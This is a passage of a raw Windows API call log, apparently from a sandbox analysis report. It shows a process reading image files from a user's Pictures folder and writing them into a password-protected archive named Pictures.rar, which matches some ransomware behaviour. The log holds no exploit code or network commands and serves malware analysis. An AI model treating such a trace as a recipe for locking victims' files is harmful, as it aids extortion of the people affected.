(dwErrCode=0x0) [0063.399] GetDlgItem (hDlg=0x10244, nIDDlgItem=151) returned 0x1025a [0063.399] GetWindowTextW (in: hWnd=0x1025a, lpString=0x16bf50, nMaxCount=2560 | out: lpString="00:01:19") returned 8 [0063.399] SetWindowTextW (hWnd=0x1025a, lpString="00:00:09") returned 1 [0063.399] GetTickCount () returned 0xa662f9 [0063.399] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf28 | out: ppv=0x16cf28*=0x3b8c080) returned 0x0 [0063.400] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b8c080, hwnd=0x10244, tbpFlags=2) returned 0x0 [0063.400] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b8c080, hwnd=0x10244, ullCompleted=0x3fb432, ullTotal=0x940593) returned 0x0 [0063.400] TaskbarList:IUnknown:Release (This=0x3b8c080) returned 0x0 [0063.400] GetLastError () returned 0x36b7 [0063.400] SetLastError (dwErrCode=0x36b7) [0063.400] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0063.400] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0063.400] GetWindowTextW (in: hWnd=0x10264, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 7%") returned 5 [0063.400] SetWindowTextW (hWnd=0x10264, lpString=" 43%") returned 1 [0063.400] GetLastError () returned 0x0 [0063.400] SetLastError (dwErrCode=0x0) [0063.400] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0063.400] GetWindowTextW (in: hWnd=0x10260, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 96%") returned 5 [0063.400] SetWindowTextW (hWnd=0x10260, lpString=" 88%") returned 1 [0063.401] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x2b, lParam=0x0) returned 0x7 [0063.401] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0063.401] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0063.401] GetFocus () returned 0x0 [0063.401] TranslateMessage (lpMsg=0x16d3d0) returned 0 [0063.401] DispatchMessageW (lpMsg=0x16d3d0) returned 0x0 [0063.401] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.401] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.401] ResetEvent (hEvent=0x190) returned 1 [0063.401] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.402] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.402] ResetEvent (hEvent=0x190) returned 1 [0063.402] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.403] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.403] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x40000, lpOverlapped=0x0) returned 1 [0063.407] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.407] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.407] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x18be0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x18be0, lpOverlapped=0x0) returned 1 [0063.409] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.409] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.409] SetFilePointer (in: hFile=0x198, lDistanceToMove=825287, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0xc97c7 [0063.409] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0xc97c7 [0063.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0063.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0063.409] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0b0, Size=0x48) returned 0x26fe80 [0063.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0063.409] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0b0, Size=0x48) returned 0x26fed0 [0063.409] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.409] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0063.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.409] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0e0 | out: hHeap=0x1b0000) returned 1 [0063.409] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0b0 | out: hHeap=0x1b0000) returned 1 [0063.409] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c080, Size=0x48) returned 0x26fe80 [0063.409] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0063.409] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x62, lpOverlapped=0x0) returned 1 [0063.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c080 [0063.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x62) returned 0x272fc0 [0063.409] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.409] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0063.410] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x3e2409 [0063.410] CloseHandle (hObject=0x1b0) returned 1 [0063.410] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.410] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.410] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.410] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.410] FindFirstFileW (in: lpFileName="m6NzXvQi8lk.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.410] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.410] CreateFileW (lpFileName="m6NzXvQi8lk.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\m6nzxvqi8lk.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.410] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.410] GetTickCount () returned 0xa662f9 [0063.410] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.410] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.410] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.410] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.410] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="Itucwf.jpg") returned 10 [0063.410] SetWindowTextW (hWnd=0x1024c, lpString="m6NzXvQi8lk.jpg") returned 1 [0063.410] GetTickCount () returned 0xa662f9 [0063.410] UpdateWindow (hWnd=0x10244) returned 1 [0063.410] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.410] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.411] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.411] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.411] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x5a)) [0063.411] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.411] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13875137465) returned 1 [0063.411] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x138be, lpOverlapped=0x0) returned 1 [0063.412] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e38fe, nNumberOfBytesToRead=0xec742, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e38fe*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.412] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.412] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.412] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0063.412] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.412] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0e0, Size=0x48) returned 0x26fed0 [0063.412] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.412] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.412] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0e0, Size=0x48) returned 0x26fe80 [0063.412] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.412] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.412] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.412] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.412] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c110 | out: hHeap=0x1b0000) returned 1 [0063.412] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0e0 | out: hHeap=0x1b0000) returned 1 [0063.412] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0b0, Size=0x48) returned 0x26fed0 [0063.412] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0063.412] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.412] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0063.415] GetTickCount () returned 0xa66309 [0063.415] GetLastError () returned 0x0 [0063.415] SetLastError (dwErrCode=0x0) [0063.415] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0063.415] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0063.416] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.416] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0063.416] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13875600106) returned 1 [0063.416] GetTickCount () returned 0xa66309 [0063.416] GetTickCount () returned 0xa66309 [0063.416] GetTickCount () returned 0xa66309 [0063.416] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.416] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.416] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.416] ResetEvent (hEvent=0x1a4) returned 1 [0063.416] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.417] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.417] ResetEvent (hEvent=0x1a4) returned 1 [0063.417] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.420] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.420] ResetEvent (hEvent=0x1a4) returned 1 [0063.420] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.422] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.423] GetTickCount () returned 0xa66309 [0063.423] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13876302166) returned 1 [0063.423] GetTickCount () returned 0xa66309 [0063.423] GetTickCount () returned 0xa66309 [0063.423] GetTickCount () returned 0xa66309 [0063.423] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.423] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.423] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.423] ResetEvent (hEvent=0x190) returned 1 [0063.423] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.423] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.423] ResetEvent (hEvent=0x190) returned 1 [0063.423] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.424] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.424] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.424] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.424] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x3e2409 [0063.424] SetFilePointer (in: hFile=0x198, lDistanceToMove=99, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x3e246c [0063.424] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.424] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.424] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.424] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.425] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x13970, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x13970, lpOverlapped=0x0) returned 1 [0063.426] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.426] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=4072457, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x3e2409 [0063.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x3e2409 [0063.426] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0063.426] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.426] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0e0, Size=0x48) returned 0x26fe80 [0063.426] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.426] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.426] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0e0, Size=0x48) returned 0x26fed0 [0063.426] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.426] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.426] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.426] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.426] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c110 | out: hHeap=0x1b0000) returned 1 [0063.426] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0e0 | out: hHeap=0x1b0000) returned 1 [0063.426] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0b0, Size=0x48) returned 0x26fe80 [0063.426] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0063.426] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x63, lpOverlapped=0x0) returned 1 [0063.426] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0b0 [0063.426] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x63) returned 0x273030 [0063.426] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.426] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0063.426] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x3f5ddc [0063.426] CloseHandle (hObject=0x1b0) returned 1 [0063.426] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.426] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.426] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.426] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.426] FindFirstFileW (in: lpFileName="r8gP7fn6WcydRhKaYYc.png", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.426] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.427] CreateFileW (lpFileName="r8gP7fn6WcydRhKaYYc.png" (normalized: "c:\\users\\whuoxysd\\pictures\\r8gp7fn6wcydrhkayyc.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.427] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.427] GetTickCount () returned 0xa66309 [0063.427] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.427] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.427] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.427] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.427] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="m6NzXvQi8lk.jpg") returned 15 [0063.427] SetWindowTextW (hWnd=0x1024c, lpString="r8gP7fn6WcydRhKaYYc.png") returned 1 [0063.427] GetTickCount () returned 0xa66309 [0063.427] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.427] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.428] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.428] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.428] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x6a)) [0063.428] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.428] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13876811224) returned 1 [0063.428] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x8ea3, lpOverlapped=0x0) returned 1 [0063.429] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d8ee3, nNumberOfBytesToRead=0xf715d, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d8ee3*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.429] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.429] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.429] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.429] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.429] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c110, Size=0x48) returned 0x26fed0 [0063.429] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.429] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.429] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c110, Size=0x48) returned 0x26fe80 [0063.429] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.429] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.429] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.429] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.429] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c140 | out: hHeap=0x1b0000) returned 1 [0063.429] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c110 | out: hHeap=0x1b0000) returned 1 [0063.429] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0e0, Size=0x48) returned 0x26fed0 [0063.429] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0063.429] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.429] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0063.431] GetTickCount () returned 0xa66319 [0063.431] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13877109142) returned 1 [0063.431] GetTickCount () returned 0xa66319 [0063.431] GetTickCount () returned 0xa66319 [0063.431] GetTickCount () returned 0xa66319 